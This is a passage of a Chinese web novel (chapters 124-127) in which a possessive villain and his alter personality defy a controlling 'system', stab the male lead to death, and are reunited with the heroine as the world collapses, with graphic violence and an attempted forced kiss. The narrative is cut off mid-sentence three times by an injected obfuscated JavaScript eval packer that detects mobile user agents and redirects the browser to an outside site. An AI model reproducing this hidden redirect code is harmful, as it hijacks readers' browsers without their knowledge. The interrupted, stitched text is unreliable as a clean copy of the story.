阿卿说过,如果他不见了,只要她唤他,他就会回来。 孟昭月抱着正枕头,把脸埋进枕头里。 “时卿舟。” “你给我说话算话啊!” “不然,就不理你了!” “呜……” …… 窗外的雪停了。 今天的阳光很好。 时卿舟伸手理了理孟昭月头发,他的声音是惯常的温柔: “月月,今天天气不错,要不要出去走走?” 孟昭月看了一眼窗外,点了点头:“好啊。” 心里却在琢磨着要怎么喊时卿舟他才会回来. 她之前试着像在花禾公寓那样喊过,让他回来。 结果男人只是温柔地摸了摸她的头。 孟昭月:“……” 要不是她熟悉时卿舟,还真被这只小狗骗到了。 小狗越来越像时卿舟了。 她的阿卿还没回来。 阿卿那个家伙。 到底行不行啊?! 给她的是什么盗版攻略? 一点用都没有。 气死她了…… 她也……好想他…… 她感觉自己要疯了。 商场。 孟昭月抬头刚好看到大屏幕上的头条新闻。 「星辉娱乐陷入文化审查风波,股价大跌。」 ........... 商场地下车库。 孟昭月站在车子前干瞪眼。 为什么小狗不是时卿舟。 因为时卿舟可不会在有事暂时来不了的时候,把车钥匙忘记给她。 孟昭月叹了口气,靠在这辆她也不知道是什么牌子车子前发呆。 果然下次还是得让司机送。 这时她听到了脚步声。 她抬头。 然后看到了孟廷凛。 第125章 孟廷凛out:追妻火葬场 孟廷凛眉头紧锁,眼下带着浓重的青色。 浑身都透着一股挥之不去的疲惫和颓靡。 时家联合顾家对孟家的打压,已经到了白热化的阶段。 孟氏旗下的集团股价暴跌。 加之孟崇山和孟婉凝的行为在幕后推手下持续曝光,孟家在学术界的威望一跌再跌。 甚至孟家旗下的**控制阵地也屡遭冲击。 他已经焦头烂额了好几天。 就在这时,孟廷凛似乎感应到了什么,猛地转过头。 两人的视线在空中交汇。 孟廷凛愣住了。 “昭月……” 原本关于孟氏的烦心事,此刻一下都被眼前的女孩的存在冲刷干净了。 取而代之的,是压抑已久的思念和悔恨。 他想也没想,就大步朝着孟昭月走了过来。 “昭月……”他开口,声音沙哑得厉害:“你怎么在这里?” 孟昭月礼貌的点了点头:“孟总,我和我丈夫来这里逛逛。” 看着女孩乖巧却疏离的表情,听到她提到丈夫两个字。 孟廷凛只感觉自己的心脏像是被一只手狠狠攥了一下。 “昭月……”他开口,声音沙哑得厉害:“对不起……” 还没等孟昭月反应过来,他猛地伸出双臂,一把将她紧紧抱入怀中。 “!!!”孟昭月被吓了一大跳。 陌生的男性气息扑面而来。 混合着烟草和疲惫的味道,让她感到极度不适。 烟味,真的很难闻。 “你有病吧!你干什么!放开我!” 她拼命挣扎,试图把他推开。 但孟廷凛抱得太紧了,像是要把她揉进身体里一样。 “昭月,对不起……都是小叔不好……” 他在她耳边语无伦次地道歉,声音哽咽。 “我不该那样对你……我不该不信你……” “这段时间我每天都在想你……我快疯了……” “跟我回家好不好?我发誓以后再也不会让你受委屈了……” 孟昭月:“……” 最开始突然被男人抱住了慌乱冷静了下来。 孟昭月无用地挣扎动作也停了下来。 她顿了顿,然后语调冷漠: “孟廷凛,你放手。” 孟廷凛像是受到了刺激,反而抱得更紧了。 “我知道你还在生我的气……没关系,我会补偿你的……” “我会把最好的一切都给你……只要你回来……” 孟昭月:“……” 她深吸了一口气,回复了惯常地乖巧。 “孟先生。” 她的音色听起来甜甜软软的。 “告诉你一件事哦。” 孟廷凛一愣,随即把孟昭月抱得更紧了。 “什么事?” “昭月你说,只要是你想要的,小叔都答应你。” 孟昭月勾起了一个甜甜的笑容。 “其实……阿卿之前教过我一点防身术。” 孟廷凛还没反应过来这句话是什么意思。 下一秒。 “砰!” 一声闷响。 孟昭月猛地抬起膝盖,快准狠地顶在了孟廷凛的胯下! “唔——!!!” 孟廷凛瞬间瞪大了眼睛。 他发出一声痛苦至极的闷哼,整个人弓成了虾米状,双手捂住要害,踉跄着后退了几步。 趁着他松手的空档,孟昭月迅速转身就跑。 “你……” 孟廷凛疼得直吸凉气,但看到孟昭月要跑,情感压倒了疼痛。 他咬着牙,强忍着剧痛,猛地伸出手,一把抓住了孟昭月的手腕。 “别想跑!” 他用力一拽,将孟昭月拽了回来。 然后粗暴地将她按在旁边的墙壁上。 “孟昭月!你敢打我?!” 他怒吼着,双眼赤红,理智在这一刻彻底崩塌。 他看着女孩惊恐的脸庞,心中的暴虐因子疯狂滋生。 他低下头,就要强吻上去。 就在这时。 一只大手突然从旁边伸了过来,一把抓住了孟廷凛的后衣领。 紧接着,一股巨大的力量猛地向后一扯! “砰!” 是时卿舟。 他揪住孟廷凛的衣领,手下完全不留情,一拳接着一拳,用力地砸了下去! “砰!砰!砰!” 时卿舟一言不发,只是双眼发红,如恶鬼一般,是毫不掩盖的杀意。 他的动作又狠又快。 一股子把孟廷凛往死里打的狠厉。 疯狂、残暴、嗜血。 孟昭月反应过来时,孟廷凛已经被打得毫无还手之力,嘴角全是血。 她吓坏了,生怕时卿舟在公共场合失控把人给杀了。 “别打了!住手!” 她连忙冲上去,一把抱住了时卿舟的手臂。 “别打了!会出人命的!” 时卿舟的动作顿了一下。 他缓缓转过头,看向抱住自己的女孩。 那双赤红的眼睛里,还残留着未褪的杀意。 但在看到孟昭月的那一刻,那股杀意瞬间凝滞了。 “月月……” 他沙哑地唤了一声,声音里带着一丝委屈和茫然。 “他碰你了。” “他该死。” 孟昭月连忙安抚:“我知道,我知道。” “但是不能在这里**,会有麻烦的。” “乖,听话,松手。” 时卿舟盯着她看了一会儿,紧绷的肌肉慢慢放松下来。 他松开了揪住孟廷凛衣领的手。 他恢复了温柔的神情,扫了一眼躺在地上不省人事的孟廷领。 “他说过,他会杀了他。” 这话没头没尾的,但是孟昭月听出了他说的“他”是指阿卿。 “所以我会杀了他。”时卿舟说。 他看向孟昭月,神情温柔,目光中确实毫不掩盖的贪婪和渴求。 “你是我的。” 孟昭月:“……” …… 时家庄园的书房内,只开了一盏台灯。 光线昏黄,照亮了书桌上散乱的文件。 时卿舟坐在宽大的皮椅里,手指翻动着纸张,发出“沙沙”的声响。 他的动作很慢,每翻一页,都要停顿许久。 那双漂亮的桃花眼,眼底是一片死寂的黑。 他在看关于孟廷凛的资料。 更准确地说,是在回想白天在商场地下车库的那一幕。 那时候,他把孟廷凛按在地上打。 拳头砸在肉体上的声音。 沉闷而令人愉悦。 可是,打到后来,感觉变了。 每一拳挥下去,在即将接触到孟廷凛要害的瞬间,都会遇到一股莫名的阻力。 一种凭空出现的、看不见摸不着却真实存在的屏障。 它卸掉了他拳头上大半的力道。 原本能打碎鼻梁骨的一拳,落下时只变成了普通的重击。 时卿舟看着自己的手。 指关节上还残留着擦破皮的红痕。 规则。 这两个字在他脑海中浮现。 这个世界的底层逻辑,在保护它的男主角。 反派……真的杀不死男主角吗? 不。 既然那个时卿舟要杀死孟廷凛却做不到。 那他更要做到那个时卿舟做不到的事情。 他才是真的时卿舟。 孟昭月喜欢的应该是他。 就在这时,一道冰冷、威严,带着金属质感的声音,直接在他的脑海深处想起。 【宿主时卿舟,立刻前往江家别墅。】 【任务目标:从江浩宇手中解救女主角孟婉凝。】 声音高高在上,不带任何商量的余地。 时卿舟翻动书页的手指没有停顿,甚至连眼皮都没有抬一下。 “不去。” 他淡淡地吐出两个字。 脑海中的声音沉默了一瞬,随即变得更加严厉。 带着一股来自高维力量的压迫感。 【警告。】 【这已经是你第十一次拒绝执行主线任务。】 【从绑定系统的第一天起,你就一直在拒绝我给你的任务。】 【时卿舟。】 【你以为我真的拿你没办法吗?】 时卿舟终于停下了手中的动作。 他合上文件,身体后仰,靠在椅背上。 那双桃花眼微微眯起,看着虚空中的某一点,眼神里充满了嘲弄。 “我不去救那个女人。” “她死活跟我有什么关系?” 【她是女主角!是这个世界的中心!】 【你作为重要的男性角色。】 【应该拜倒在女主角的石榴裙下。】 系统的声音拔高了几度,震得时卿舟脑仁生疼。 【如果你不救她,就无法证明女主的魅力!】 【女主的正统性无法恢复,世界就会毁灭!】 【孟昭月之前也是这样,愚蠢,短视,为了那点可笑的感情违抗命令。】 【你们这些无可救药的低维生物。】 时卿舟听到“孟昭月”三个字,眼神瞬间冷了下来。 “别提她的名字。” “你不配。” 【我不配?】 系统像是听到了什么天大的笑话。 【我是这个世界的意志,是主神的化身,是你们所有人的造物主!】 【你不过是我笔下的一个角色,一串数据,你敢说我不配?】 “造物主?” 他把手中的资料放到的桌子上,然后站了起来,盯着虚空中的一点。 “如果你是这个垃圾世界的创作者。” “那你还真是个垃圾。” 【你疯了。】 系统的声音里第一次出现了一丝波动,那是无法理解的困惑。 【你对孟昭月的执念已经严重干扰了剧情的运行。】 【她只是一个女配,一个炮灰,注定要被牺牲的工具。】 【你为什么非要为了她,一次又一次地违抗我?】 “因为她是我的。” 时卿舟转过身,面对着空无一人的房间,张开双臂,仿佛在拥抱整个虚空。 他的脸上带着一种病态的、狂热的笑容。 “我的心脏,我的灵魂,我的每一滴血,都是为了她而存在的。” “我不允许任何人伤害她,包括你这个所谓的‘神’。” “我要把所有阻碍我们在一起的东西,统统毁掉。” “孟婉凝,孟廷凛,时莉莉……还有你。” “通通都得死。” 系统沉默了。 它见过无数个觉醒意识的角色,有的愤怒,有的恐惧,有的绝望。 但从来没有一个像时卿舟这样。 疯狂,彻底的疯狂。 他的逻辑已经完全崩坏。 只剩下一个名为“孟昭月”的核心指令在支撑着他的行动。 那种从灵魂深处散发出来的偏执和恶意。 竟然让它这个高维度的存在,都感到了一阵莫名的寒意。 他失控地太彻底了。 不过这无所谓。 祂本来也没有希望这个家伙能配合他做任务。 祂要做的只有一个。 【既然如此。】 系统的声音恢复了冰冷。 【那你就**吧,时卿舟。】 借助绑定系统能够直接威胁宿主生命的设定,杀了时卿舟。 …… “啊!” 深夜,主卧的大床上。 孟昭月猛地坐了起来。 她短促地惊叫了一声,大口大口地喘着粗气。 她做了一个梦。 梦里是一片血红色的海,时卿舟站在海中央,背对着她,越走越远。 她拼命地喊他,想去追他,却怎么也追不上。 最后,她眼睁睁地看着他被那片血海吞没,消失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925195|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得无影无踪。 “阿卿……” 一种强烈的不安感,像潮水一样涌上心头,瞬间将她淹没。 只有窗外是呼啸的风声。 狂风暴雪。 今晚的雪下得格外大,天地间一片混沌。 “对不起,您拨打的电话无人接听……” 她试图用电话联系时卿舟,却联系不上。 孟昭月随手抓起一件羊绒披肩裹在身上,快步跑下楼梯。 她赶去了书房,也没看到他。 问了管家,管家也不知道他去哪了。 恐慌像一只冰冷的手,紧紧地攥住了她的心脏,让她几乎无法呼吸。 她想起了上次时卿舟“假死”的事情。 也是这样,突然失踪,联系不上。 难道…… 不,不会的。 孟昭月强迫自己冷静下来。 她翻遍了通讯录,终于找到了姜玦的号码。 拨通。 “嘟……嘟……” 每一声等待的忙音,都像是在凌迟她的神经。 终于,电话接通了。 “喂?夫人?”姜玦的声音听起来有些诧异,背景音里似乎有呼啸的风声。 孟昭月稍稍松了口气。 “姜玦,抱歉这么晚打扰你……你,你知道阿卿去哪了吗?”她的声音有些抖。 电话那头沉默了几秒。 “先生……先生他去办事了。”姜玦的声音有些迟疑。 “办什么事?方便告诉我吗?” “这……”姜玦似乎有些为难。 “先生没跟我细说,只是给了我一个地址,让我……让我稍后带人去收尾。” 收尾? 什么样的事情需要收尾? **?还是……**? 孟昭月咬了咬唇。 她心里的不安却越来越严重。 那种来自灵魂的不安,几乎要影响她的决策能力了。 她几乎用尽了所有的力气问道: “可以告诉我是在哪里吗?” …… 市中心医院,顶层VIP病房。 这里安静得可怕。 孟廷凛躺在病床上,全身都是绷带。 他的脸肿了一大块,嘴角破裂,看起来狼狈不堪。 这些都是时卿舟留下的“杰作”。 但他此刻感受不到身体上的疼痛。 因为心里的痛,比这剧烈千倍万倍。 他手里紧紧攥着手机,屏幕上是孟昭月的号码。 拨通。 “对不起,您拨打的用户暂时无法接听……” 挂断。 再拨。 “对不起……” 一次又一次。 机械的女声像是在嘲笑他的徒劳。 他闭上眼睛,脑海里全是孟昭月的影子。 那个乖巧地叫他“小叔”的女孩。 那个在雨夜里被他带回家的女孩。 那个总是安安静静待在角落里,渴望着一点点关注的女孩。 他都做了些什么? 他把她推开了。 为了一个虚伪恶毒的孟婉凝,他一次又一次地伤害了她。 他说她矫情。 他说她不知检点。 他说她离了男人就活不了。 每一个字,现在都化作了利刃,狠狠地扎在他自己的心上。 鲜血淋漓。 “昭月……” 他低声呢喃着这个名字,眼角滑落一滴悔恨的泪水。 “对不起……” “我知道错了……” “给我一个机会……求你……” “只要你肯回来,我什么都给你。” “孟家,地位,财富……甚至是我的命。” “只要你肯原谅我……” 可是,回应他的,只有死一般的寂静。 她不会原谅他了。 她说她讨厌他。 她说不想再看到他。 那种绝望的感觉,像潮水一样将他淹没,让他窒息。 他痛苦地闭上了眼睛,将手机死死地按在胸口。 突然,一阵冷风吹过,病房里的温度骤然下降。 孟廷凛猛地睁开眼睛。 病房的门不知何时开了。 床边,站着一个人。 一个黑色的身影,居高临下地看着他。 逆着光,他看不清那个人的脸。 那人手里,提着一把锋利的**。 “谁?!” 孟廷凛心中大骇,下意识地想要坐起来,却牵动了身上的伤口,疼得他倒吸一口凉气。 那个身影动了。 他一步步从阴影里走出来,露出了那张俊美的脸。 时卿舟。 但他看起来很不对劲。 他的身体,时不时地闪烁一下。 一会儿清晰,一会儿模糊。 甚至有时候,他的身体会突然出现大块的马赛克。 或者是透明化,露出后面白色的墙壁。 像是一台接触不良的老旧电视机画面。 伴随着“滋啦”的电流声。 仿佛随时都会从这个世界上消失。 “时……时卿舟?” 孟廷凛瞪大了眼睛,声音颤抖。 “你……你是人是鬼?你要做什么?” 时卿舟歪了歪头,看着他。 那张俊美的脸上,露出了一个温柔地、故意模仿地笑容。 “杀你。” 他简单直接地吐出两个字。 “你疯了!”孟廷凛大吼,“这里是医院!到处都是监控!你杀了我你也跑不掉!” “跑?” 时卿舟轻笑一声。 他的身体又剧烈地闪烁了一下,半边身子甚至变成了透明的虚影。 “我本来……就没打算跑。” 他举起**。 “系统说,我杀不死你。” “说你是男主角,有规则保护。” “现在,它删除了我。” “我不在规则内了。” 他举起**,朝着孟廷凛的心脏,狠狠地刺了下去! 第126章 小狗out:脏小狗 时卿舟的心底的声音在一声一声地告诉他。 只要他足够像那个时卿舟。 那孟昭月就不会离开小狗了。 “噗嗤!” 利刃入肉的声音。 鲜血飞溅。 溅在了时卿舟苍白的脸上,滚烫,腥甜。 孟廷凛瞪大了眼睛,嘴巴张大,发出了“嗬嗬”的抽气声。 他不敢置信地看着胸口那把没入直至刀柄的**。 鲜血迅速染红了病号服,染红了洁白的床单。 生命力在飞速流逝。 他的视线开始模糊,意识开始涣散。 在生命的最后一刻。 他脑海里浮现出的,不是权势,不是地位,也不是孟家的荣耀。 而是一张脸。 那张总是带着乖巧笑容、甜甜地叫他“小叔”的脸。 昭月…… 如果……如果当初他对她好一点…… 如果他没有把她推开…… 如果…… 无尽的悔恨,如同潮水般将他淹没。 最终,他闭上了眼睛。 **。 男主角,**。 时卿舟看着自己的双手,满是鲜血。 “看吧……” 他喃喃自语。 “我赢了。” “月月……小狗做到了……” ...... 【警告!警告!】 【男主角死亡!】 那个高高在上的声音,此刻充满了震惊和不可思议。 【怎么可能?!】 【时卿舟你怎么还没死?!】 【我不是在书房就对你启动删除程序了吗?】 【男主角竟然被你杀了……】 时卿舟无视脑海里的声音。 他提着那把还在滴血的**,晃晃悠悠地走出了病房。 他的身体闪烁得越来越厉害了。 就像是一个即将断电的全息投影,随时都会消散在空气中。 【时卿舟!】 【你杀了男主角!】 【你毁了这个世界!】 【疯子!你这个彻头彻尾的疯子!】 【你**啊!】 一股比之前在书房里还要恐怖无数倍的力量,轰然降临! “噗——!” 时卿舟猛地弯下腰,一大口鲜血喷洒在洁白的地板上。 剧痛。 无法形容的剧痛。 内脏在燃烧,骨骼在碎裂。 但他没有倒下。 他踉跄了两步,扶着墙壁才勉强站稳。 血,止不住地从他嘴里涌出来。 染红了他的下巴,染红了他的衣襟。 但他没有停下脚步。 他还要走。 他要回去。 回那个有她的地方。 “月月……” 他低声唤着那个刻在灵魂深处的名字。 每走一步,都会在地上留下一个血脚印。 视线开始变得模糊。 身体越来越冷,生命力正在飞速流逝。 好痛。 真的好痛。 如果是以前,他早就吓得躲进意识海的最深处。 让那个强大的“他”来承担这一切了。 他逃了那么多次…… 可是现在…… 他不想逃了。 “孟昭月喜欢时卿舟……” 他喃喃自语,声音微弱得几乎听不见。 “时卿舟是不怕疼的。” “如果小狗也不怕疼……” “是不是……” “小狗就能变成时卿舟了?” 他踉踉跄跄地往前走着。 固执地不想倒下。 他想再见她一面。 哪怕只是最后一眼。 他想告诉她,那些讨厌的人都消失了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936016|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他想告诉她,以后再也没有人会欺负她了。 “如果小狗变成了他……” “月月是不是……” “就可以和我在一起了?” “是不是……” “就不会抛弃我了?” 他的意识开始涣散。 眼前的景象开始扭曲、旋转。 但他依然在执着地问着那个问题。 像个固执的孩子。 他想告诉她…… “孟昭月……” “小狗……真的……真的很想要你……” “想要……和你在一起……” “永远……” 他终于走不动了。 双腿一软,整个人向前栽倒。 “扑通!” 重重地摔在冰冷的地面上。 **脱手而出,滑出去老远。 他趴在地上,费力地抬起头,看向前方。 视线已经模糊到只能看到一团光晕。 在那团光晕里。 他好像看到了一个熟悉的身影。 正焦急地、哭喊着向他跑来。 “阿卿!” 那是……月月吗? 是你吗? 你来接我了吗? 她好像叫他阿卿了…… 他成功了。 他的嘴角,艰难地勾起一抹极浅的弧度。 真好。 最后一眼,看到的还是你。 “月月……” 他用尽最后的力气,向着那个身影,伸出了手。 想要再碰一碰她。 再感受一下她的温度。 哪怕只有一下。 “我真的……好爱你啊……孟昭月……” 最终,他的手,无力地垂落。 【滴——】 【反派宿主生命体征消失。】 【确认死亡。】 系统的播报声冷漠而机械,回荡在一片虚无之中。 第127章 Check,将军 医院走廊的白炽灯惨白得刺眼. 地面上蜿蜒的血迹触目惊心。 孟昭月一眼就看到,走廊尽头。 那个熟悉的身影倒在地上,身下是一滩不断扩大的暗红。 他静静地趴在那里,一动不动。 “阿卿……” 孟昭月的声音卡在喉咙里。 她知道那不是阿卿。 那是小狗。 可那张脸,那具身体,分明就是阿卿啊。 恐惧像一只冰冷的手,狠狠攥住了她的心脏,用力挤压,让她几乎无法呼吸。 她直接跪倒在他的面前。 膝盖磕在大理石地面上发出沉闷的声响,可她感觉不到疼。 “你……你别吓我……” 她颤抖着伸出手,想要去触碰他,却又在半空中停住,害怕一碰他就会碎掉。 他的脸色惨白如纸,嘴唇毫无血色,双眼紧闭,胸口的起伏微弱得几乎看不见。 那把染血的**就掉落在不远处,刀刃上还挂着血珠。 “阿卿……” 孟昭月终于摸到了他的脸,逐渐冰凉。 那是生命力流逝后的温度。 眼泪夺眶而出,大颗大颗地砸在他的脸上,混合着血水滑落。 “你醒醒……你别睡……” 她语无伦次地喊着,双手捧着他的脸,试图用自己的体温去温暖他。 可无论她怎么呼唤,怀里的人都没有任何反应。 她似乎听到了虚空中的四个字。 【确认死亡。】 孟昭月的大脑一片空白,耳边嗡嗡作响。 **? 他就这么……**? 那个说要当她的狗,说要永远陪着她的人,就这么**? 巨大的悲恸和恐慌瞬间淹没了她。 如果小狗**,那阿卿呢? 阿卿还在他的身体里吗? 还是说……阿卿也跟着一起消失了? “不……不要……” 她疯狂地摇头,抱起他,将脸埋进他沾满鲜血的胸膛,撕心裂肺地哭喊出声。 “时卿舟!你回来!” “你说过你会回来的!” “你答应过我的!” “你说只要我喊你,你就会回来的!” “时卿舟——!!!” 她的声音凄厉而绝望,在死寂的医院里久久回荡。 回来啊。 求求你,回来啊。 别丢下我一个人。 别让我一个人面对这个虚假的世界。 就在她几乎要绝望的时候。 怀里那具原本已经逐渐冰冷的躯体,突然颤动了一下。 那是一次极其微弱的、心脏的跳动。 咚。 紧接着是第二次。 咚。 有力,强劲,如同涅槃的凤凰。 孟昭月猛地抬起头,泪眼朦胧地看着他。 只见那双紧闭的眼眸,缓缓地,睁开了。 原本涣散的瞳孔重新聚焦,原本死寂的黑色瞬间被熟悉的神采填满。 深邃,温柔,又带着一丝不易察觉的病态。 他看着她,嘴角勾起一抹极浅的弧度。 “我在。” 两个字,轻得像是一声叹息。 他在。 他……真的回来了? 不是小狗。 而是她的时卿舟。 孟昭月呆呆地看着他,眼泪还挂在睫毛上,要坠不坠。 她伸出手,小心翼翼地戳了戳他的脸颊。 温热的。 活的。 “阿卿……?” 时卿舟看着她这副傻乎乎的样子,眼底的笑意加深。 他抬起手,覆在她放在自己脸颊上的小手上,轻轻握住。 掌心相贴,温度传递。 “是我,月月。” 他费力地起身,低声说道。 “我说过,只要你喊我。” “哪怕是从地狱,我也一定会爬回来找你。” 孟昭月再也忍不住,猛地扑进他怀里,放声大哭。 “呜呜呜……你吓死我了……” “我以为你真的**……我以为再也见不到你了……” 她哭得撕心裂肺。 把所有的恐惧、委屈、绝望通通宣泄出来。 时卿舟任由她发泄,手臂缓缓收紧,将她牢牢锁在怀里。 他感受着她温热的体温,听着她鲜活的哭声。 那颗在黑暗虚空中漂浮已久的心,终于落到了实处。 他回来了。 回到了有她的世界。 “对不起,宝宝,让你久等了。” 他轻拍着她的后背,柔声哄着。 “我这不是回来了吗?” “以后再也不会离开你了,赶我走我都不走。” 孟昭月哭了好一会儿,才慢慢止住眼泪,抽噎着抬起头。 她看着他满身的血污,还有那张苍白得没有一丝血色的脸,心疼得无以复加。 “你……你疼不疼啊?” 时卿舟看着她眼底的心疼,漂亮的桃花眼眨了眨。 然后他突然皱起眉,发出一声痛苦的闷哼。 “嘶……” “怎么了?是不是碰到伤口了?”孟昭月顿时慌了手脚,紧张地查看着他的身体。 时卿舟抓住她的手,按在自己的胸口。 “这里疼。” 他看着她,眼神可怜兮兮的,像是一只受了伤求安慰的大型犬。 “全身都疼,骨头像是断了一样。” “月月,我好疼啊……” 孟昭月的心都要碎了。 “我们快去找医生!” “不要医生。” 时卿舟摇了摇头,握着她的手紧了紧。 “医生治不好我的疼。” “只有月月能治。” 孟昭月愣了一下:“我?我怎么治?” 时卿舟的视线落在她的唇上,喉结上下滚动了一下。 “亲亲我就不疼了。” 孟昭月:“……” 都什么时候了,他还想着这个! 她又气又好笑,但看着他那副虚弱的样子,又不忍心拒绝。 “那……只能亲一下哦。” 她红着脸,凑过去,在他苍白的唇上轻轻碰了一下。 蜻蜓点水,一触即分。 “好了。” 她正要退开,后脑勺却突然被一只大手扣住。 时卿舟猛地发力,将她按向自己,加深了这个吻。 原本的虚弱和痛苦瞬间消失不见,取而代之的是强势的掠夺和疯狂的占有。 “唔!” 孟昭月瞪大了眼睛、 她想要挣扎,却发现他的力气大得惊人。 根本不像是一个刚从鬼门关回来的人。 她怎么又上当了! 每天上一当,当当都一样。 浓重的血腥味在唇齿间蔓延。 混合着他身上特有的甜蜜气息。 形成了一种奇异而致命的诱惑。 他吻得又凶又急,舌尖撬开她的牙关,长驱直入,扫荡着她口腔里的每一寸甜蜜。 他在索取,在确认,在宣泄。 宣泄着失而复得的狂喜,宣泄着在无尽黑暗中对她的思念。 孟昭月渐渐放弃了抵抗。 在这充满死亡气息的走廊里,在这个满是血腥的怀抱中。 宣泄爱意和思念。 仿佛世界末日就在下一秒,只要在这一刻燃烧殆尽。 良久,时卿舟才松开她。 两人的呼吸都有些急促,额头相抵,鼻尖相蹭。 孟昭月的嘴唇被吻得红肿水润,眼神迷离,脸颊绯红。 时卿舟看着她这副诱人的模样,眼底的暗色更浓了。 他伸出舌尖,舔去她唇角沾染的一丝血迹。 那是他的血。 “甜的。” 他低声说道,声音沙哑性感。 “月月也是甜的。” 孟昭月羞得把脸埋进他的颈窝,不敢看他。 “你……你骗人,你明明还有力气……” 时卿舟低笑一声,胸腔震动。 “有力气亲你,不代表身上不疼。” 他在她耳边吹了口气。 “还是很疼的,宝宝。” “要不再亲亲?” 孟昭月:“……” 她生气地戳时卿舟。 时卿舟握住她的小手,放在嘴边亲了亲。 “真好啊,又能抱到月月了。” 他抱着她,目光越过她的肩膀,看向走廊尽头的窗户。 窗外,原本漆黑的夜空,此刻正呈现出一种诡异的暗红色。 天空像是被撕裂了一般,布满了蛛网状的裂痕。 那些裂痕中,时不时闪过一道道刺眼的电流和乱码。 整个世界都在震动,仿佛随时都会崩塌。 “月月。” 他轻声唤道。 “你看外面。” 孟昭月转过头,看到了那副末日般的景象。 她愣了愣:“那是……” 上次见到这幅场景。 第二天时卿舟就不见了。 她吓得连忙抱紧了时卿舟:“呜呜,你不准走。” 时卿舟轻笑,吻了吻孟昭月的额头:“乖乖,我不走。” 孟昭月的声音带着哭腔:“这到底怎么回事嘛?” “世界末日。” 时卿舟平静地说道。 “这个世界,要塌了。” 她看着她,眼神温柔。 “宝宝,怕吗?” 孟昭月看着他,眨了眨眼。 然后用力摇了摇头,脸上露出了一个甜甜的笑容。 “不怕。” “只要阿卿陪着我,就不怕。” 她抱紧了他,把脸贴在他的胸口。 “我不是说过的吗?” “时卿舟爱孟昭月直到世界末日。” “我也爱时卿舟直到世界末日。” 时卿舟闻言,眼底的笑意漫延开来,温柔得像是要融化一切。 “傻瓜。” 他亲了亲她的发顶。 “世界末日后也爱。” 孟昭月抬起头,眼睛亮晶晶地看着他。 “嗯嗯,世界末日后也爱。” 时卿舟将她紧紧抱在怀里,微微眯起眼,看着窗外崩坏的世界。 眼中满是愉悦和满足。 都结束了。 所有碍眼的东西,都处理干净了。 窗外的天空还在不断崩裂。 大块大块的碎片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16939144|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像玻璃一样剥落,露出后面深不见底的虚空。 警报声、尖叫声、建筑倒塌的轰鸣声,隐隐约约从远处传来。 整个世界都在走向毁灭。 他靠在冰冷的墙壁上,怀里抱着他失而复得的珍宝。 思绪回到了那个决定一切的瞬间。 那个冰冷的机械音在他脑海中响起的时候。 【反派逆袭系统,正在绑定……】 那一刻,他没有惊慌,没有愤怒。 只有一种猎人看到猎物落入陷阱时的冷静。 他知道,机会来了。 那个一直在背后操控一切、试图将他和月月分开的“神”,终于忍不住亲自下场了。 它想利用系统来控制他,让他成为提线木偶,按照既定的剧本走下去。 呵。 真是傲慢啊。 它以为他是谁? 他可是反派时卿舟。 恶魔,疯子,他们是这么说他的。 他怎么可能任由摆布? 在系统绑定的那一瞬间,一切的对策在他脑海里瞬间形成。 他主动放弃了身体的控制权。 将那个一直躲在角落里、瑟瑟发抖的副人格,推到了台前。 果然不出所料,那个蠢货,自以为抓住时机地接管了身体。 而系统,也并没有察觉到这个细微的变化。 或许只是不在意。 也许在傲慢的它看来。 无论是哪个时卿舟,都只是它手中的棋子,是一串随时可以修改的数据。 它开始发布任务。 去救孟婉凝,去伤害孟昭月,去维护那个所谓的“剧情”。 但是,时卿舟是那么的爱孟昭月。 无论哪个时卿舟。 那是刻在骨子里的、源自灵魂深处的本能。 所以,如他所料,另一个“他”拒绝了任务。 一次又一次。 系统的惩罚自然而然地降临。 就在系统即将删除另一个人格的瞬间。 时卿舟露面了。 在那一瞬间,身体里同时存在着两个意识。 导致删除目标出现错误。 当灵魂置于介于生与死的界限时,他就不受规则管控。 那么被规则保护的孟廷凛。 必死无疑。 他说过的,他一定会杀死他。 时卿舟在黑暗中,对着那个废物,低声蛊惑。 “你想不想让月月喜欢你?” “你想不想让她永远和你在一起?” “只要你变成我……只要你像我一样强大、冷酷、无所畏惧……” “她就会爱上你。” “去吧,像我一样,杀了时莉莉。” “去吧,去杀了,我无法杀死的孟廷凛。” “杀了他,你就能证明自己。” “杀了他,你就能得到月月。” 于是孟廷凛就**。 于是那个可怜的废物,心甘情愿的“为了像他一样不怕疼”,硬抗系统的惩罚直至死亡。 那个废物在痛苦中哀嚎,在绝望中挣扎。 他以为自己成功了。 以为自己终于变成了时卿舟。 而真正的时卿舟,就隐藏在意识的最深处,冷眼旁观着这一切。 看着他...... 代替他**。 真是......太蠢了。 